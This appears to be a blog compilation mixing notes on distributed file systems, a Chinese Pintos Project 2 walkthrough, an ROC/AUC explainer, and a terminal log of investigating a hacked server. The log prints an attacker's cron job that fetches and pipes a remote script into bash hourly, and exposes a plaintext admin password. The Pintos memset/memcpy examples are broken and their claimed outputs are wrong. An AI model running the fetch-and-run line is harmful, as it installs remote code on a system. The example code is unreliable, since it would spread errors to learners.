Distributed Learning

Credit

self learnt from https://www.csie.nuk.edu.tw/~wuch/course/csd511/csd511-08.pdf

Intro

After viewing much of the ppt online, I grabbed that most of the US schools focus on practice. Maybe because the ppt is for Microsoft intern. Actually, the Sun and the Andrew has been the history.

First off, many kinds. and all of them is to make online repositories browsed just as offline. like ftp on linux r samba on windows.

basic Architechture

The architecture is the webserver one that is response and response. I'd say it's more r less a application layer thing, all the mapping connects to other api. In ufid part, it's stateless and a server end fd.

Implementation

The connection contract is based on RPC which requires:

This is the remote procedure call interface to extend the local directory services to a distributed model.

Every operations would not be directly modified, all requires a tcp requiest, so the identifier requires a 32bits and 16bits date for time stamp. After being transfered, all operations are similar to local ones. Take Sun NFS systems as instance.

NFS & VFS

VFS do it more direct, I would say. It put the Hardware abstraction more abstract based on network architechture. Vnode rather than Inode( a file saving DS). In pintos is like:

Source: CSCI350: pintos guide

while VFS works this way

Summary

Other OS operations works just do as the file system based on network.

optimization: UDP packet is extended to 9KB to containing entire file block (8KB for UNIX BSD FFS) and RPC message in a single packet – Clients and servers of NFSv3 can negotiate sizes larger than 8 KB.

Another file systrm : Andrew File System

The Andrew File System (AFS)[1] is a distributed file system which uses a set of trusted servers to present a homogeneous, location-transparent file name space to all the client workstations. It was developed by Carnegie Mellon University as part of the Andrew Project.

Goal: provide transparent access to remote shared files

Two unusual design characteristics

Other improvement

further study

操作系统:Pintos Project2 详解

前情提要

在上个月的紧赶慢赶,连续一周持续4点睡觉以后,终于完成了斯坦福OS的pintos2 project。网上中文资源太少,也没有所谓的详解,我就大概出来献一下丑。

我们的代码开源在 http://victoryang00.xyz:5012/victoryang/pintos-team-20

credit:https://static1.squarespace.com/static/5b18aa0955b02c1de94e4412/t/5b85fad2f950b7b16b7a2ed6/1535507195196/Pintos+Guide

需要改动的文件集中在userprog 文件夹下,官方给出的需要改动的行数:

 threads/thread.c     |   13 
 threads/thread.h     |   26 +
 userprog/exception.c |    8 
 userprog/process.c   |  247 ++++++++++++++--
 userprog/syscall.c   |  468 ++++++++++++++++++++++++++++++-
 userprog/syscall.h   |    1 
 6 files changed, 725 insertions(+), 38 deletions(-)

为了通过测试,你需要做五件事:

•传递可执行文件名称,而不是线程_create和文件sys_open的原始文件名。 •正确设置堆栈
•实现简单形式的process_wait
•使用putbuf为STDOUT_FILENO实现write syscall
•实施出口syscall。
这将使您开始通过userprog的前几个测试。

args测试集

这个测试集要求把值传入到 esp 中,非常像OS实现的脚本程序,比普通的python 中的 args.append() 多加一个地址处理来翻译。

pintos -v -k -T 60 --filesys-size=2 -p tests/userprog/args-none -a args-none -- -q -f run args-none
pintos -v -k -T 60 --filesys-size=2 -p tests/userprog/args-single -a args-single -- -q -f run 'args-single onearg'
pintos -v -k -T 60 --filesys-size=2 -p tests/userprog/args-multiple -a args-multiple -- -q -f run 'args-multiple some arguments for you!'
pintos -v -k -T 60 --filesys-size=2 -p tests/userprog/args-many -a args-many -- -q -f run 'args-many a b c d e f g h i j k l m n o p q r s t u v'
pintos -v -k -T 60 --filesys-size=2 -p tests/userprog/args-dbl-space -a args-dbl-space -- -q -f run 'args-dbl-space two spaces!'

大概解释一下脚本的含义,贵校用的测试机上只有bochs,makefile.vars 中不用修改。 之前遇到启动 makefile 参数的问题,改这个文件就行。 pintos 命令是一个 perl 脚本,-v -k -T 60 是启动参数, --filesys-size=2 定义文件系统大小。名字不超过14,最大16个文件。 -p 载入文件, -a 载入测试名。 -q -f 为 format 以后 run, 最后是在系统中运行的命令。所有的源代码可以在 .c 文件中看到,如果有某个 testcase 没过就去看。

学长做 check 的时候问过这样一个问题,proj1 和 2 最大的 testcase 区别是什么?proj1 是直接调用写好的程序,而 proj2 传入参数。可以清楚的看到传入参数的格式:

user_program arg1 arg2 arg3 arg4

稍稍看看 args 最大的数量,最多 50 个参数,那直接开一个数组实现,这样的好处是直接通过空格看多少 args ,读的时候看位数就好。

(args) argv[20] = 't'
(args) argv[21] = 'u'
(args) argv[22] = 'v'
(args) argv[23] = null
(args) end

当用户程序开始被执行的时候是先调用process.c 再调用 thread_create() 。注意到该线程被命名为原始文件名:

tid = thread_create(file_name, PRI_DEFAULT, start_process, fn_copy);

你不希望线程具有原始文件名。相反,你希望线程的名称为可执行文件的名称。您将需要从file_name中提取可执行文件名称,然后将其传递。fd(file descriptor就上线了,好处是直接读取数组位置)

tid = thread_create {exec_name,PRI_DEFAULT,start_process,fn_copy;

另请注意fn_copy。这是原始文件名的副本,并作为辅助参数传递。这将派上用场。该线程将运行的函数是start_process,该函数接受参数void * file_name_。 fn_copy作为此参数传递,使您可以在此函数中访问完整的原始文件名的副本。这将派上用场。

如果您查看start_process函数,将看到一个load函数;此功能是在用户程序中加载所有数据的位置。在此加载功能中,Pintos将尝试加载描述。从参数中的指定文件执行用户程序,等待带有指定tid的子进程在继续执行之前完成。

在装入函数中,您还将找到一个名为setup_stack的函数。在此功能中,您将为每个用户程序设置堆栈。

接下来看pintos guide 上的对 stack pointer 的描述,一开始需要先初始化 esp 来存值。首先要说的就是如何debug 因为你一上来一个testcase 都过不了。先介绍两个关于内存读入的函数和一个工具。

memset and memcpy

假设要将一条信息写入指针的目标,就用memset。例如,假设我们要编写字符a,执行以下操作:

#include <stdio.h>
int main(void)
{
   char my_string[] = "XSCI350";
   printf("Original: %s\n", my_string); 
   //ptr points to the start of the string 
   char* ptr = my_string;
   //memset(void pointer to data to modify, write data, size of data in bytes)
   memset(static_cast<void*>(ptr), ’C’, sizeof(char)); printf("After: %s\n", my_string);
   return 0;
}

输出是:

Original: XSCI350
After:    CSCI350

这不是要写单个数据,而是要写一个数据字符串。 这时就要使用 memcpy。 例如,假设我们要编写字符串CSCI350,将执行以下操作:

#include <stdio.h>
int main(void)
{
    char my_string[] = "ABCD123";
    printf("Original: %s\n", my_string); //ptr points to the start of the string

    char* ptr = my_string;
    //memcpy(void pointer to data to modify, write data, size of data in bytes)
    memset(static_cast<void*>(ptr), ’CSCI350’, sizeof(char) * 7);
    printf("After: %s\n", my_string);
    return 0; 
}

输出是:

Original: ABCD123
After:    CSCI350

Hex Dump

它允许你打印出指定堆栈的地址和地址内容。 使用十六进制转储的原型是:

static void hex_dump((uintptr_t)**, void**, int, bool)

这里有一个 hexdump 的案例

接下来实现 process.c 的第一个函数 setup_stack 。

这是双指针,因为你将要进行指针操作,并且由于你希望这些修改是全局的,而不仅仅是在此功能的范围内,因此你将获得一个指向堆栈指针的指针(为指针传递一个指针)。 void** esp 将内容写到你要解引用的堆栈中

按照文档,一开始定义为 PHYS_BASE , 也就是 0xffffffff 。

这里是按 stack 的习惯写入。上面的CSCI350应该写为053ICSC。

上面是一个小测试,我们可以用 hexdump 来检查它输出的到底是什么。

剩下的就是反转了,没什么花样,不过除了我们实现的方法,还有更笨的直接取反。

恶心的testcase

这次的 multioom 是个很恶心的 testcase,相当于一个压力测试,先读入 args 到不能读,再继续不断地 syscall, 就是看你的程序会不会自己 halt 或者退出。

算是一个比较极端的例子,不过只要能跑其他的,这个只是看看你的上界对不对而已。

从组会论文中得到项目的灵感[2]

我们正好要在安全比赛中做一个小项目.同时要再编译原理课上完成静态分析.

本论文是基于深度学习权限API调用的安全漏洞检查.对拓展CFG进行标签化学习,先对良性app学习数据流和api调用的关系,去检测一个新的app的malitious 与否.

最后这个文章的创新点居然只是wigdet 和word的关系.

从组会论文中得到项目的灵感[1]

https://arxiv.org/pdf/1903.04881.pdf

首先是几个概念的辨析(reference : https://blog.csdn.net/program_developer/article/details/79946787 )

一、 ROC曲线的由来

  很多学习器是为测试样本产生一个实值或概率预测,然后将这个预测值与一个分类阈值进行比较,若大于阈值则分为正类,否则为反类。例如,神经网络在一般情形下是对每个测试样本预测出一个[0.0,1.0]之间的实值,然后将这个值与阈值0.5进行比较,大于0.5则判为正例,否则为反例。这个阈值设置的好坏,直接决定了学习器的泛化能力。

  在不同的应用任务中,我们可根据任务需求来采用不同的阈值。例如,若我们更重视“查准率”,则可以把阈值设置的大一些,让分类器的预测结果更有把握;若我们更重视“查全率”,则可以把阈值设置的小一些,让分类器预测出更多的正例。因此,阈值设置的好坏,体现了综合考虑学习器在不同任务下的泛化性能的好坏。为了形象的描述这一变化,在此引入ROC曲线,ROC曲线则是从阈值选取角度出发来研究学习器泛化性能的有力工具。

错误率(Error Rate):是分类错误的样本数占样本总数的比例。对样例集D,分类错误率计算公式如1所示。

\begin{equation} E(f;D)=\frac{1}{m}\sum_{i=1}^{m} \prod (f(x_{i})\neq y_{i})\ \ _{(1)} \end{equation}

对公式(1)解释:统计分类器预测出来的结果与真实结果不相同的个数,然后除以总的样例集D的个数。

精度(Accuracy):是分类正确的样本数占样本总数的比例。对样例集D,精度计算公式如2所示。

\begin{equation}\nonumber acc(f;D) = \frac{1}{m}\sum^{m}_{i=1}\prod (f(x_{i})=y_{i})\\ =1-E(f;D) \ . \ \ \ _{(2)} \end{equation}

注意:这里的分类正确的样本数指的不仅是正例分类正确的个数还有反例分类正确的个数。


(1)查准率、查全率出现的原因:

情景一:

错误率和精度虽然常用,但是并不能满足所有任务需求。以西瓜问题为例,假定瓜农拉来一车西瓜,我们用训练好的模型对这些西瓜进行判别,显然,错误率衡量了有多少比例的瓜被判别错误。但是若我们关心的是“挑出的西瓜中有多少比例是好瓜”,或者“所有好瓜中有多少比例被挑了出来”,那么错误率显然就不够用了,这时需要使用其他的性能度量。

情景二:

类似的需求在信息检索、Web搜索等应用中经常出现,例如在信息检索中,我们经常会关心“检索出的信息中有多少被检索出来了”。

“查准率”与“查全率”是更为适用于此类需求的性能度量。

(2)什么是查准率和查全率

对于二分类问题,可将样例根据其真实类别与学习器预测类别的组合划分为真正例(true positive)、假正例(false positive)、真反例(true negative)、假反例(false negative)四种情形,令TP、FP、TN、FN分别表示其对应的样例数,则显然有TP+FP++TN+FN=样例总数。分类结果的“混淆矩阵”(confusion matrix)如表1所示。

  表1:分类结果混淆矩阵

真实情况预测结果
正例反例
正例TP(真正例)FN(假反例)
反例FP(假正例)TN(真反例)

查准率(Precision),又叫准确率,缩写表示用P。查准率是针对我们预测结果而言的,它表示的是预测为正的样例中有多少是真正的正样例。定义公式如3所示。

 

注意:这里大家有一个容易混淆的误区。精度(Accuracy)和准确率(Precision)表示的是不同的概念,计算方法也不同。所以,大家在看paper的时候,要特别注意这些细节。

精确度(Accuracy),缩写表示用A。精确度则是分类正确的样本数占样本总数的比例。Accuracy反应了分类器对整个样本的判定能力(即能将正的判定为正的,负的判定为负的)。定义公式如4所示。

查全率(Recall),又叫召回率,缩写表示用R。查全率是针对我们原来的样本而言的,它表示的是样本中的正例有多少被预测正确。定义公式如5所示。

注意:大家可以比较一下查准率和查全率的计算公式。其实就是分母不同,查准率的分母是预测为正的样本数。查全率的分母是原样本的所有正样例数。

(3)查准率和查全率之间的矛盾

查准率和查全率是一对矛盾的度量。一般来说,查准率高时,查全率往往偏低;而查全率高时,查准率往往偏低。

思考一个问题:为什么会有这样的情况呢?

答案:我们可以这样理解,在一个分类器中,你想要更高的查准率,那么你的阈值要设置的更高,只有这样才能有较高的把握确定我们预测是正例是真正例。一旦我们把阈值设置高了,那我们预测出正例的样本数就少了,那真正例数就更少了,查不全所有的正样例。

举个例子来理解一下吧!例如,若希望将好瓜尽可能多地挑选出来,则可通过增加选瓜的数量来实现,如果将所有的西瓜都选上,那么所有的好瓜也必然都选上了,但这样查准率就会较低;若希望选出的瓜中好瓜比例尽可能高,则可只挑选最有把握的瓜,但这样就难免会漏掉不少好瓜,使得查全率较低。通常只有在一些简单任务中,才可能使查全率和查准率都很高。

P-R曲线在很多情形下,我们可根据学习器的预测结果对样例进行排序,排在前面的是学习器认为“最可能”是正例的样本,排在最后的是学习器认为“最不可能”是正例的样本。按此顺序设置不同的阈值,逐个把样本作为正例进行预测,则每次可以计算出当前的查准率、查全率。以查准率为纵轴查全率为横轴作图,就得到了查准率-查全率曲线,简称“P-R曲线”,显示该曲线的图称为“P-R图”。

P-R图直观地显示出学习器在样本总体上的查全率、查准率。在进行比较时,若一个学习器的P-R曲线被另一个学习器的曲线完全“包住”,则可断言后者的性能优于前者,例如图1中学习器A的性能优于学习器C;如果两个学习器的P-R曲线发生了交叉,例如图1中的A和B,则难以一般性地断言两者孰优孰劣,只能在具体的查准率或查全率条件下进行比较。然而,在很多情形下,人们往往仍然希望把学习器A与B比出个高低。这时,一个比较合理的判断依据是比较P-R曲线下面积的大小,它在一定程度上表征了学习器在查准率和查全率上取得相对“双高”的比例。但这个值不太容易估算,因此,人们设计了一些综合考虑查准率、查全率的性能度量,比如BEP度量、F1度量。

“平衡点”(Break-Even-Point,简称BEP)就是这样一个度量,它是“查准率=查全率”时的取值,例如图1中学习器C的BEP是0.64,而基于BEP的比较,可认为学习器A优于B。

F1度量BEP曲线还是过于简化了些,更常用的是F1度量。我们先来谈谈F1度量的由来是加权调和平均,计算公式如6所示。

\begin{equation}\nonumber 加权调和平均与算术平均(\frac{P+R}{2})和几何平均\sqrt{PR}相比,调和平均更重视较小值。当β=1,即F1是基于查准率与查全率的调和平均定义的,公式如7所示。 \end{equation}

我们把公式7求倒数,即得F1度量公式,即公式8所示。

在一些应用中,对查准率和查全率的重视程度有所不同。例如在商品推荐系统中,为了尽可能少打扰用户,更希望推荐内容确实是用户感兴趣的,此时查准率更重要;而在逃犯信息检索系统中,更希望尽可能少漏掉逃犯,此时查全率更重要。F1度量的一般形式是,能让我们表达出对查准率/查全率的不同偏好,它定义为公式9所示。

其中,β>0度量了查全率对查准率的相对重要性。β=1时,退化为标准的F1;β>1时查全率有更大影响;β<1时,查准率有更大影响。

二、 什么是ROC曲线

ROC全称是“受试者工作特征”(Receiver OperatingCharacteristic)曲线。我们根据学习器的预测结果,把阈值从0变到最大,即刚开始是把每个样本作为正例进行预测,随着阈值的增大,学习器预测正样例数越来越少,直到最后没有一个样本是正样例。在这一过程中,每次计算出两个重要量的值,分别以它们为横、纵坐标作图,就得到了“ROC曲线”。

  ROC曲线的纵轴是“真正例率”(True Positive Rate, 简称TPR),横轴是“假正例率”(False Positive Rate,简称FPR),基于上篇文章《错误率、精度、查准率、查全率和F1度量》的表1中符号,两者分别定义为:

  显示ROC曲线的图称为“ROC图”。图1给出了一个示意图,显然,对角线对应于“随机猜测”模型,而点(0,1)则对应于将所有正例预测为真正例、所有反例预测为真反例的“理想模型”。

图1:ROC曲线与AUC面积   
  现实任务中通常是利用有限个测试样例来绘制ROC图,此时仅能获得有限个(真正例率,假正例率)坐标对,无法产生图1中的光滑ROC曲线,只能绘制出图2所示的近似ROC曲线。绘制过程很简单:给定个正例和个反例,根据学习器预测结果对样例进行排序,然后把分类阈值设置为最大,即把所有样例均预测为反例,此时真正例率和假正例率均为0,在坐标(0,0)处标记一个点。然后,将分类阈值依次设为每个样例的预测值,即依次将每个样例划分为正例。设前一个标记点坐标为,当前若为真正例,则对应标记点的坐标为;当前若为假正例,则对应标记点的坐标为,然后用线段连接相邻点即得。

三、 ROC曲线的意义

(1)主要作用

1.ROC曲线能很容易的查出任意阈值对学习器的泛化性能影响。

2.有助于选择最佳的阈值。ROC曲线越靠近左上角,模型的查全率就越高。最靠近左上角的ROC曲线上的点是分类错误最少的最好阈值,其假正例和假反例总数最少。

3.可以对不同的学习器比较性能。将各个学习器的ROC曲线绘制到同一坐标中,直观地鉴别优劣,靠近左上角的ROC曲所代表的学习器准确性最高。

(2)优点

  1. 该方法简单、直观、通过图示可观察分析方法的准确性,并可用肉眼作出判断。ROC曲线将真正例率和假正例率以图示方法结合在一起,可准确反映某种学习器真正例率和假正例率的关系,是检测准确性的综合代表。
  2. 在生物信息学上的优点:ROC曲线不固定阈值,允许中间状态的存在,利于使用者结合专业知识,权衡漏诊与误诊的影响,选择一个更加的阈值作为诊断参考值。

四、 AUC面积的由来

  如果两条ROC曲线没有相交,我们可以根据哪条曲线最靠近左上角哪条曲线代表的学习器性能就最好。但是,实际任务中,情况很复杂,如果两条ROC曲线发生了交叉,则很难一般性地断言谁优谁劣。在很多实际应用中,我们往往希望把学习器性能分出个高低来。在此引入AUC面积。

  在进行学习器的比较时,若一个学习器的ROC曲线被另一个学习器的曲线完全“包住”,则可断言后者的性能优于前者;若两个学习器的ROC曲线发生交叉,则难以一般性的断言两者孰优孰劣。此时如果一定要进行比较,则比较合理的判断依据是比较ROC曲线下的面积,即AUC(Area Under ROC Curve),如图1图2所示。

五、 什么是AUC面积

  AUC就是ROC曲线下的面积,衡量学习器优劣的一种性能指标。从定义可知,AUC可通过对ROC曲线下各部分的面积求和而得。假定ROC曲线是由坐标为的点按序连接而形成,参见图2,则AUC可估算为公式3。

六、 AUC面积的意义

  AUC是衡量二分类模型优劣的一种评价指标,表示预测的正例排在负例前面的概率。

  看到这里,是不是很疑惑,根据AUC定义和计算方法,怎么和预测的正例排在负例前面的概率扯上联系呢?如果从定义和计算方法来理解AUC的含义,比较困难,实际上AUC和Mann-WhitneyU test(曼-慧特尼U检验)有密切的联系。从Mann-Whitney U statistic的角度来解释,AUC就是从所有正样本中随机选择一个样本,从所有负样本中随机选择一个样本,然后根据你的学习器对两个随机样本进行预测,把正样本预测为正例的概率,把负样本预测为正例的概率,>的概率就等于AUC。所以AUC反映的是分类器对样本的排序能力。根据这个解释,如果我们完全随机的对样本分类,那么AUC应该接近0.5。

  另外值得注意的是,AUC的计算方法同时考虑了学习器对于正例和负例的分类能力,在样本不平衡的情况下,依然能够对分类器做出合理的评价。AUC对样本类别是否均衡并不敏感,这也是不均衡样本通常用AUC评价学习器性能的一个原因。例如在癌症预测的场景中,假设没有患癌症的样本为正例,患癌症样本为负例,负例占比很少(大概0.1%),如果使用准确率评估,把所有的样本预测为正例便可以获得99.9%的准确率。但是如果使用AUC,把所有样本预测为正例,TPR为1,FPR为1。这种情况下学习器的AUC值将等于0.5,成功规避了样本不均衡带来的问题。


记一次服务器被黑

Windows PowerShell
版权所有 (C) Microsoft Corporation。保留所有权利。

尝试新的跨平台 PowerShell https://aka.ms/pscore6

PS C:\Users\yangy> ssh [email protected] -p9999
Password:
Password:
PS C:\Users\yangy> ssh [email protected] -p9999
Password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-55-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

 * Kata Containers are now fully integrated in Charmed Kubernetes 1.16!
   Yes, charms take the Krazy out of K8s Kata Kluster Konstruction.

     https://ubuntu.com/kubernetes/docs/release-notes

 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

7 packages can be updated.
6 updates are security updates.


*** System restart required ***

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


        Welcome to Huawei Cloud Service


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Mon Oct 21 11:31:18 2019 from 59.78.171.116

        Welcome to Huawei Cloud Service

Could not chdir to home directory /home/yiweiyang: No such file or directory


$
$
$
$ ls
bin   data  etc   initrd.img      lib    lost+found  mnt  patch  root  sbin  srv  tmp  var      vmlinuz.old
boot  dev   home  initrd.img.old  lib64  media       opt  proc   run   snap  sys  usr  vmlinuz  www
$ docker ps
Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get http://%2F                                                                                                                                                                                                                                                   var%2Frun%2Fdocker.sock/v1.40/containers/json: dial unix /var/run/docker.sock: connect: permission denied
$ su -
Password:
root@gaSRHj203877:~# ls
f2f_migrate_error.log     frp  OnlineJudgeDeploy  package.xml  SISTOJ.git  SMS-Agent.tar.gz
f2f_migrate_schedule.log  nps  package-lock.json  SISTOJ       SMS-Agent   X7QZNkji
root@gaSRHj203877:~# docker ps
CONTAINER ID        IMAGE                                                        COMMAND                  CREATED                                                                                                                                                                                                                                                                STATUS                PORTS                                            NAMES
62658fd3b3c8        registry.cn-hangzhou.aliyuncs.com/onlinejudge/oj_backend     "/bin/sh -c /app/dep…"   2 months ago                                                                                                                                                                                                                                                           Up 8 days (healthy)   0.0.0.0:4981->1443/tcp, 0.0.0.0:4980->8000/tcp   oj-backend
650fa2b219a4        centos                                                       "/bin/bash"              2 months ago                                                                                                                                                                                                                                                           Up 8 days                                                              centos
6ba068b154be        registry.cn-hangzhou.aliyuncs.com/onlinejudge/judge_server   "/bin/sh -c /code/en…"   2 months ago                                                                                                                                                                                                                                                           Up 8 days (healthy)   8080/tcp                                         judge-server
b090c523f1ab        postgres:10-alpine                                           "docker-entrypoint.s…"   2 months ago                                                                                                                                                                                                                                                           Up 8 days             5432/tcp                                         oj-postgres
659d477410e3        redis:4.0-alpine                                             "docker-entrypoint.s…"   2 months ago                                                                                                                                                                                                                                                           Up 8 days             6379/tcp                                         oj-redis
root@gaSRHj203877:~# docker exec -it oj-backend /bin/sh
/app #
/app #
/app # python3 manage.py inituser --username victoryang00 --password victor129 --action=reset
Django VERSION (2, 1, 7, 'final', 0)
User victoryang00 doesnot exist, operation ignored
/app # python3 manage.py inituser --username root --password victor129 --action=reset
Django VERSION (2, 1, 7, 'final', 0)
Password is rested
/app # root@gaSRHj203877:~# htop
root@gaSRHj203877:~# kill 21790
root@gaSRHj203877:~# htop
root@gaSRHj203877:~# htop
root@gaSRHj203877:~# crontab -l
0 * * * * curl -s -L http://ix.io/1K8E | bash -s
root@gaSRHj203877:~# crontab -e
crontab: installing new crontab
root@gaSRHj203877:~# more .bash_history
more: stat of .bash_history failed: No such file or directory
root@gaSRHj203877:~# ll
total 44852
drwx------ 19 root root     4096 Oct 27 15:00 ./
drwxr-xr-x 26 root root     4096 Oct 21 10:42 ../
drwx------  5 root root     4096 Sep 14 14:10 .acme.sh/
-rw-r--r--  1 root root     3137 Sep 14 14:10 .bashrc
drwx------  5 root root     4096 Sep 22 04:28 .cache/
drwxr-xr-x  3 root root     4096 Sep 14 14:29 .cmake/
drwx------  5 root root     4096 Sep 21 23:11 .config/
-rw-r--r--  1 root root      465 Sep 14 03:07 f2f_migrate_error.log
-rw-r--r--  1 root root      435 Sep 13 18:36 f2f_migrate_schedule.log
drwxrwxr-x  3 www  www      4096 Jul 17 04:41 frp/
drwx------  3 root root     4096 Aug  6 18:17 .gnupg/
drwxr-xr-x  3 root root     4096 Sep 21 23:11 .local/
-rw-------  1 root root      428 Sep 22 12:24 .mysql_history
drwxr-xr-x  2 root root     4096 Aug 20 02:19 .nano/
drwxr-xr-x  3 root root     4096 Aug 23 03:25 .node-gyp/
-rw-------  1 root root        0 Sep 22 09:18 .node_repl_history
drwxr-xr-x  5 root root     4096 Aug  6 21:27 .npm/
drwxr-xr-x  4 root root     4096 Aug 13 07:02 nps/
drwxr-xr-x  6 root root     4096 Sep 14 13:43 OnlineJudgeDeploy/
-rw-r--r--  1 root root       27 Aug  6 21:42 package-lock.json
-rw-r--r--  1 www  uucp    35323 Jul 29 23:14 package.xml
-rw-r--r--  1 root root      195 Sep 14 15:32 .pearrc
drwxr-xr-x  2 root root     4096 Sep 14 14:08 .pip/
-rw-r--r--  1 root root      174 Sep 13  2017 .profile
-rw-rw-rw-  1 root root        6 Oct 27 15:00 .pysocks.pid
-rw-------  1 root root       74 Oct 10 13:59 .python_history
-rw-r--r--  1 root root       66 Oct 21 10:11 .selected_editor
drwxr-xr-x 10 root root     4096 Aug 23 04:17 SISTOJ/
-rw-r--r--  1 root root    90584 Aug 23 02:14 SISTOJ.git
drwxr-xr-x  8 root root     4096 Sep 13 18:05 SMS-Agent/
-rw-r--r--  1 root root 45638842 Sep 11 09:28 SMS-Agent.tar.gz
drwx------  2 root root     4096 Oct 21 10:31 .ssh/
-rw-r--r--  1 root root        0 Oct 13 06:28 .sudo_as_admin_successful
-rw-------  1 root root    10100 Oct 21 10:44 .viminfo
drwxr-xr-x  5 root root     4096 Sep 21 21:12 .vscode-server/
-rw-r--r--  1 root root      317 Oct 27 09:00 .wget-hsts
-rwxrwxrwx  1 root root    16940 Oct 27 15:00 X7QZNkji*
root@gaSRHj203877:~# ls |grep bash
root@gaSRHj203877:~# cat .
./                         .gnupg/                    .pearrc                    .sudo_as_admin_successful
../                        .local/                    .pip/                      .viminfo
.acme.sh/                  .mysql_history             .profile                   .vscode-server/
.bashrc                    .nano/                     .pysocks.pid               .wget-hsts
.cache/                    .node-gyp/                 .python_history
.cmake/                    .node_repl_history         .selected_editor
.config/                   .npm/                      .ssh/
root@gaSRHj203877:~# cat .bashrc
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

# If not running interactively, don't do anything
[ -z "$PS1" ] && return

# don't put duplicate lines in the history. See bash(1) for more options
# ... or force ignoredups and ignorespace
HISTCONTROL=ignoredups:ignorespace

# append to the history file, don't overwrite it
shopt -s histappend

# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
HISTSIZE=1000
HISTFILESIZE=2000

# check the window size after each command and, if necessary,
# update the values of LINES and COLUMNS.
shopt -s checkwinsize

# make less more friendly for non-text input files, see lesspipe(1)
[ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"

# set variable identifying the chroot you work in (used in the prompt below)
if [ -z "$debian_chroot" ] && [ -r /etc/debian_chroot ]; then
    debian_chroot=$(cat /etc/debian_chroot)
fi

# set a fancy prompt (non-color, unless we know we "want" color)
case "$TERM" in
    xterm-color) color_prompt=yes;;
esac

# uncomment for a colored prompt, if the terminal has the capability; turned
# off by default to not distract the user: the focus in a terminal window
# should be on the output of commands, not on the prompt
#force_color_prompt=yes

if [ -n "$force_color_prompt" ]; then
    if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
        # We have color support; assume it's compliant with Ecma-48
        # (ISO/IEC-6429). (Lack of such support is extremely rare, and such
        # a case would tend to support setf rather than setaf.)
        color_prompt=yes
    else
        color_prompt=
    fi
fi

if [ "$color_prompt" = yes ]; then
    PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
else
    PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
fi
unset color_prompt force_color_prompt

# If this is an xterm set the title to user@host:dir
case "$TERM" in
xterm*|rxvt*)
    PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1"
    ;;
*)
    ;;
esac

# enable color support of ls and also add handy aliases
if [ -x /usr/bin/dircolors ]; then
    test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
    alias ls='ls --color=auto'
    #alias dir='dir --color=auto'
    #alias vdir='vdir --color=auto'

    alias grep='grep --color=auto'
    alias fgrep='fgrep --color=auto'
    alias egrep='egrep --color=auto'
fi

# some more ls aliases
alias ll='ls -alF'
alias la='ls -A'
alias l='ls -CF'

# Alias definitions.
# You may want to put all your additions into a separate file like
# ~/.bash_aliases, instead of adding them here directly.
# See /usr/share/doc/bash-doc/examples in the bash-doc package.

if [ -f ~/.bash_aliases ]; then
    . ~/.bash_aliases
fi

# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
#if [ -f /etc/bash_completion ] && ! shopt -oq posix; then
#    . /etc/bash_completion
#fi
. "/root/.acme.sh/acme.sh.env"
root@gaSRHj203877:~# cd /etc/init
init/            init.d/          initramfs-tools/
root@gaSRHj203877:~# cd /etc/init.d/
root@gaSRHj203877:/etc/init.d# ls
acpid                   cryptdisks         mountall-bootclean.sh  ondemand       redis           ufw
apparmor                cryptdisks-early   mountall.sh            open-iscsi     resolvconf      umountfs
arp-bind                dbus               mountdevsubfs.sh       open-vm-tools  rsync           umountnfs.sh
atd                     docker             mountkernfs.sh         php-fpm-72     rsyslog         umountroot
bootmisc.sh             grub-common        mountnfs-bootclean.sh  plymouth       screen-cleanup  unattended-upgrades                                                                                                                                                                                                                                                       bt                      halt               mountnfs.sh            plymouth-log   sendmail        urandom
checkfs.sh              hostname.sh        mysql                  procps         sendsigs        uuidd
checkroot-bootclean.sh  hwclock.sh         mysqld                 pure-ftpd      single          x11-common
checkroot.sh            irqbalance         networking             rc             skeleton
cloudGuardd             iscsid             nginx                  rc.local       ssh
cloudSafed              keyboard-setup.sh  nscd                   rcS            sysstat
console-setup.sh        killprocs          ntp                    README         thermald
cron                    kmod               ntp.dpkg-old           reboot         udev
root@gaSRHj203877:/etc/init.d# cat d
dbus    docker
root@gaSRHj203877:/etc/init.d# cat d
dbus    docker
root@gaSRHj203877:/etc/init.d# locat

Command 'locat' not found, did you mean:

  command 'socat' from deb socat
  command 'ocat' from deb onioncat
  command 'locate' from deb mlocate
  command 'locate' from deb locate
  command 'lzcat' from deb lzma
  command 'lolcat' from deb lolcat

Try: apt install <deb name>

root@gaSRHj203877:/etc/init.d# locate
locate: no pattern to search for specified
root@gaSRHj203877:/etc/init.d# locate Db
/usr/share/perl5/Debconf/Db.pm
/usr/share/perl5/Debconf/DbDriver
/usr/share/perl5/Debconf/DbDriver.pm
/usr/share/perl5/Debconf/DbDriver/Backup.pm
/usr/share/perl5/Debconf/DbDriver/Cache.pm
/usr/share/perl5/Debconf/DbDriver/Copy.pm
/usr/share/perl5/Debconf/DbDriver/Debug.pm
/usr/share/perl5/Debconf/DbDriver/DirTree.pm
/usr/share/perl5/Debconf/DbDriver/Directory.pm
/usr/share/perl5/Debconf/DbDriver/File.pm
/usr/share/perl5/Debconf/DbDriver/LDAP.pm
